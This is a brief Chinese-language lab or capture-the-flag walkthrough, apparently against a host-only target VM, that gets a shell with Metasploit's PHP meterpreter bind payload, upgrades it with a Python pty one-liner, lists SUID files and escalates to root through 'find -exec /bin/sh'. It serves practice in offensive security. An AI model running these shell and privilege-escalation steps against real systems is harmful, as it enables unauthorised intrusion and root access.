这边我们靶机是仅主机模式，IP是192.168.56.101，，直接上msf拿到shell,  不过payload要改一下 改成php/meterperter/bind_tcp

 

 

 

 

拿到shell了 ，采用交互式

python -c "import pty;pty.spawn('/bin/bash')"

 

find / -type f -perm -u=s 2>/dev/null #find查看root
find /var/www -exec "/bin/sh" \; # find提权